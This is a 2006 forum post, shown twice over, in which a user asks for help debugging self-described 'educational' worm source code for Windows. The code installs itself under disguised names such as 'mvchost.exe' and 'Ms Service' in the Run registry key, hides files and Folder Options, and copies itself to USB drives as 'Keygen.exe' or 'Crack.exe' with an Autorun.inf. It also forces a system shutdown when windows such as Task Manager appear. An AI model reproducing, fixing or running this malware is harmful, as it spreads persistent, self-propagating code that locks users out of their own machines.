insider
November 25th, 2006, 05:43 AM
Guys, i need your help....
Now, doing a little project for my study and on my application, something wrong happen in here. My application is like a worm, but i'm not try to release it, just for educational purpose only. Please don't ignore me.... :) . This my source code :
/*
----------------------------------
File name : Penelope.exe
purpose : for educational only
----------------------------------
*/
void penelope(); //install the application
void disable(); //make become hard to find
void spread(); //copy to usb
BOOL CALLBACK caption(HWND hWnd, LPARAM lPar); //read window caption
ULONG WINAPI killWind(LPVOID lPar); //kill window
ULONG WINAPI guard(LPVOID lPar); //create her backup
int addStartup(LPCTSTR valName,char * szPath,char * fName); //add to startup
using namespace std;
char szPath[MAX_PATH]; //path to file for module handle file
char fName[MAX_PATH]; //file name
int random, i;
HKEY hKey;
int main()
{
DWORD idTh1,idTh2;
CreateThread(NULL,0,killWind,0,0,&idTh1);
CreateMutex(NULL,TRUE,"::.PeneL0pE p1ss you o0F.::");
if(GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
penelope();
CreateThread(NULL,0,guard,0,0,&idTh2);
disable();
spread();
return 0;
}
void penelope()
{
ZeroMemory(szPath,sizeof(szPath));
ZeroMemory(fName,sizeof(fName));
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
GetSystemDirectory(fName,sizeof(fName));
strcat(fName,"\\PeneLopE.exe");
addStartup("PeneLopE",szPath,fName);
}
void disable()
{
DWORD nilai = 1;
DWORD hidden = 2;
DWORD type = REG_DWORD;
LPCTSTR regMenu = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
LPCTSTR regExt = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
//disable menu : folder option
RegOpenKeyEx(HKEY_CURRENT_USER,regMenu,0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"NoFolderOptions",0,type,(LPBYTE)&nilai,sizeof(nilai));
RegCloseKey(hKey);
// hide : file extention, hidden file & system
RegOpenKeyEx(HKEY_CURRENT_USER,regExt,0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"HideFileExt",0,type,(LPBYTE)&nilai,sizeof(nilai));
RegSetValueEx(hKey,"Hidden",0,type,(LPBYTE)&hidden,sizeof(hidden));
RegCloseKey(hKey);
}
void spread()
{
char * drives[] = {"B:","C:","D:","E:","F:","G:","H:","I:","J:","K:","L:","M:",
"N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","X:","Y:","Z:"};
char * spreadName[] = {"Flash Game.exe","Jenna.exe", "Keygen.exe","Crack.exe"};
char exePath[MAX_PATH], cdburn[MAX_PATH], temp[MAX_PATH]; // 4 cdburn area folder
ZeroMemory(fName,sizeof(fName));
SYSTEMTIME tiktok;
random = rand()%4;
GetSystemTime(&tiktok);
if((tiktok.wMinute % 2)==0)
{
for(i=0;i<24;i++)
{
UINT driveType = GetDriveType(drives[i]);
if(driveType == DRIVE_REMOVABLE)
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
strcpy(fName,drives[i]);
strcat(fName,"\\");
strcat(fName,spreadName[random]);
CopyFile(szPath,fName,true);
SetFileAttributes(fName,FILE_ATTRIBUTE_NORMAL);
}
}
}
Sleep(1);
if((tiktok.wMinute % 10) == 0)
{
GetModuleFileName(GetModuleHandle(NULL),cdburn,sizeof(cdburn));
SHGetFolderPath(NULL,CSIDL_CDBURN_AREA|CSIDL_FLAG_CREATE,NULL,0,exePath);
strcpy(temp,exePath);
strcat(exePath,"\\");
strcat(exePath,spreadName[random]);
CopyFile(cdburn,exePath,false);
strcat(temp,"\\Autorun.inf");
CreateFile(temp,0,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
ofstream file(temp);
file<<"[Autorun]\n"<<"File="<<spreadName[random]<<endl;
file.close();
}
Sleep(1);
}
BOOL CALLBACK caption(HWND hWnd, LPARAM lPar)
{
HANDLE hTok;
TOKEN_PRIVILEGES tp;
char * capt[] = {"Windows Task Manager","Registry Editor","Command Prompt","System Configuration Utility","cmd.exe"};
int windLength = GetWindowTextLength(hWnd);
char * lpString = (char *)GlobalAlloc(GPTR,windLength+1);
GetWindowText(hWnd,lpString,windLength+1);
for(i=0;i<5;i++)
{
if((windLength!=0) && IsWindowVisible(hWnd) && (strcmp(lpString,capt[i])))
{
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hTok);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);
tp.PrivilegeCount = 1; //set one privilege
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hTok,FALSE,&tp,0,(PTOKEN_PRIVILEGES)NULL,0);
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);
return TRUE;
}
}
GlobalFree(lpString);
return TRUE;
}
ULONG WINAPI killWind(LPVOID lPar)
{
while(1)
{
EnumWindows((WNDENUMPROC)caption,0);
Sleep(1);
}
return 0;
}
ULONG WINAPI guard(LPVOID lPar)
{
OSVERSIONINFOEX osVer;
WIN32_FIND_DATA find;
HANDLE handle;
char search[MAX_PATH]; //to find penelope.exe
ZeroMemory(szPath,sizeof(szPath));
ZeroMemory(fName,sizeof(fName));
osVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((LPOSVERSIONINFO)&osVer);
if((osVer.dwMajorVersion == 5) && (osVer.dwMinorVersion == 1)) //is Windows XP ??
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
SHGetFolderPath(NULL,CSIDL_APPDATA|CSIDL_FLAG_CREATE,NULL,0,fName);
strcat(fName,"\\Microsoft");
strcat(fName,"\\mvchost.exe");
addStartup("Ms Service",szPath,fName);
}
else //not Windows XP
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
GetWindowsDirectory(fName,sizeof(fName));
strcat(fName,"\\mvchost.exe");
addStartup("Ms Service",szPath,fName);
}
while(1)
{
//check penelope.exe
GetSystemDirectory(search,sizeof(search));
handle = FindFirstFile(search,&find);
if(handle == INVALID_HANDLE_VALUE)
{
if(!strcmp(search,"\\PeneLopE.exe")) //find PeneLopE.exe
{
penelope();
}
else
{
return TRUE;
}
}
FindClose(handle);
}
Sleep(1);
}
int addStartup(LPCTSTR valName,char * szPath,char * fName)
{
char temp[MAX_PATH];
strcpy(temp,fName);
CopyFile(szPath,temp,false);
SetFileAttributes(temp,FILE_ATTRIBUTE_HIDDEN);
ShellExecute(NULL,"open",temp,NULL,NULL,SW_HIDE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,valName,0,REG_SZ,(const unsigned char*)temp,sizeof(temp));
RegCloseKey(hKey);
return 0;
}
by the way, i'm using MSVC 2003 as IDE.... Problem in here, when i run it, my computer directly shutdown and when i restart again, after login page, and go to the desktop, my computer become shutdown again. Why ??
Thanx guyz for your help..... :)
Now, doing a little project for my study and on my application, something wrong happen in here. My application is like a worm, but i'm not try to release it, just for educational purpose only. Please don't ignore me.... :) . This my source code :
/*
----------------------------------
File name : Penelope.exe
purpose : for educational only
----------------------------------
*/
void penelope(); //install the application
void disable(); //make become hard to find
void spread(); //copy to usb
BOOL CALLBACK caption(HWND hWnd, LPARAM lPar); //read window caption
ULONG WINAPI killWind(LPVOID lPar); //kill window
ULONG WINAPI guard(LPVOID lPar); //create her backup
int addStartup(LPCTSTR valName,char * szPath,char * fName); //add to startup
using namespace std;
char szPath[MAX_PATH]; //path to file for module handle file
char fName[MAX_PATH]; //file name
int random, i;
HKEY hKey;
int main()
{
DWORD idTh1,idTh2;
CreateThread(NULL,0,killWind,0,0,&idTh1);
CreateMutex(NULL,TRUE,"::.PeneL0pE p1ss you o0F.::");
if(GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
penelope();
CreateThread(NULL,0,guard,0,0,&idTh2);
disable();
spread();
return 0;
}
void penelope()
{
ZeroMemory(szPath,sizeof(szPath));
ZeroMemory(fName,sizeof(fName));
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
GetSystemDirectory(fName,sizeof(fName));
strcat(fName,"\\PeneLopE.exe");
addStartup("PeneLopE",szPath,fName);
}
void disable()
{
DWORD nilai = 1;
DWORD hidden = 2;
DWORD type = REG_DWORD;
LPCTSTR regMenu = "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
LPCTSTR regExt = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced";
//disable menu : folder option
RegOpenKeyEx(HKEY_CURRENT_USER,regMenu,0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"NoFolderOptions",0,type,(LPBYTE)&nilai,sizeof(nilai));
RegCloseKey(hKey);
// hide : file extention, hidden file & system
RegOpenKeyEx(HKEY_CURRENT_USER,regExt,0,KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,"HideFileExt",0,type,(LPBYTE)&nilai,sizeof(nilai));
RegSetValueEx(hKey,"Hidden",0,type,(LPBYTE)&hidden,sizeof(hidden));
RegCloseKey(hKey);
}
void spread()
{
char * drives[] = {"B:","C:","D:","E:","F:","G:","H:","I:","J:","K:","L:","M:",
"N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","X:","Y:","Z:"};
char * spreadName[] = {"Flash Game.exe","Jenna.exe", "Keygen.exe","Crack.exe"};
char exePath[MAX_PATH], cdburn[MAX_PATH], temp[MAX_PATH]; // 4 cdburn area folder
ZeroMemory(fName,sizeof(fName));
SYSTEMTIME tiktok;
random = rand()%4;
GetSystemTime(&tiktok);
if((tiktok.wMinute % 2)==0)
{
for(i=0;i<24;i++)
{
UINT driveType = GetDriveType(drives[i]);
if(driveType == DRIVE_REMOVABLE)
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
strcpy(fName,drives[i]);
strcat(fName,"\\");
strcat(fName,spreadName[random]);
CopyFile(szPath,fName,true);
SetFileAttributes(fName,FILE_ATTRIBUTE_NORMAL);
}
}
}
Sleep(1);
if((tiktok.wMinute % 10) == 0)
{
GetModuleFileName(GetModuleHandle(NULL),cdburn,sizeof(cdburn));
SHGetFolderPath(NULL,CSIDL_CDBURN_AREA|CSIDL_FLAG_CREATE,NULL,0,exePath);
strcpy(temp,exePath);
strcat(exePath,"\\");
strcat(exePath,spreadName[random]);
CopyFile(cdburn,exePath,false);
strcat(temp,"\\Autorun.inf");
CreateFile(temp,0,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
ofstream file(temp);
file<<"[Autorun]\n"<<"File="<<spreadName[random]<<endl;
file.close();
}
Sleep(1);
}
BOOL CALLBACK caption(HWND hWnd, LPARAM lPar)
{
HANDLE hTok;
TOKEN_PRIVILEGES tp;
char * capt[] = {"Windows Task Manager","Registry Editor","Command Prompt","System Configuration Utility","cmd.exe"};
int windLength = GetWindowTextLength(hWnd);
char * lpString = (char *)GlobalAlloc(GPTR,windLength+1);
GetWindowText(hWnd,lpString,windLength+1);
for(i=0;i<5;i++)
{
if((windLength!=0) && IsWindowVisible(hWnd) && (strcmp(lpString,capt[i])))
{
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hTok);
LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tp.Privileges[0].Luid);
tp.PrivilegeCount = 1; //set one privilege
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hTok,FALSE,&tp,0,(PTOKEN_PRIVILEGES)NULL,0);
InitiateSystemShutdown(NULL,NULL,0,TRUE,FALSE);
return TRUE;
}
}
GlobalFree(lpString);
return TRUE;
}
ULONG WINAPI killWind(LPVOID lPar)
{
while(1)
{
EnumWindows((WNDENUMPROC)caption,0);
Sleep(1);
}
return 0;
}
ULONG WINAPI guard(LPVOID lPar)
{
OSVERSIONINFOEX osVer;
WIN32_FIND_DATA find;
HANDLE handle;
char search[MAX_PATH]; //to find penelope.exe
ZeroMemory(szPath,sizeof(szPath));
ZeroMemory(fName,sizeof(fName));
osVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx((LPOSVERSIONINFO)&osVer);
if((osVer.dwMajorVersion == 5) && (osVer.dwMinorVersion == 1)) //is Windows XP ??
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
SHGetFolderPath(NULL,CSIDL_APPDATA|CSIDL_FLAG_CREATE,NULL,0,fName);
strcat(fName,"\\Microsoft");
strcat(fName,"\\mvchost.exe");
addStartup("Ms Service",szPath,fName);
}
else //not Windows XP
{
GetModuleFileName(GetModuleHandle(NULL),szPath,sizeof(szPath));
GetWindowsDirectory(fName,sizeof(fName));
strcat(fName,"\\mvchost.exe");
addStartup("Ms Service",szPath,fName);
}
while(1)
{
//check penelope.exe
GetSystemDirectory(search,sizeof(search));
handle = FindFirstFile(search,&find);
if(handle == INVALID_HANDLE_VALUE)
{
if(!strcmp(search,"\\PeneLopE.exe")) //find PeneLopE.exe
{
penelope();
}
else
{
return TRUE;
}
}
FindClose(handle);
}
Sleep(1);
}
int addStartup(LPCTSTR valName,char * szPath,char * fName)
{
char temp[MAX_PATH];
strcpy(temp,fName);
CopyFile(szPath,temp,false);
SetFileAttributes(temp,FILE_ATTRIBUTE_HIDDEN);
ShellExecute(NULL,"open",temp,NULL,NULL,SW_HIDE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,
KEY_ALL_ACCESS,&hKey);
RegSetValueEx(hKey,valName,0,REG_SZ,(const unsigned char*)temp,sizeof(temp));
RegCloseKey(hKey);
return 0;
}
by the way, i'm using MSVC 2003 as IDE.... Problem in here, when i run it, my computer directly shutdown and when i restart again, after login page, and go to the desktop, my computer become shutdown again. Why ??
Thanx guyz for your help..... :)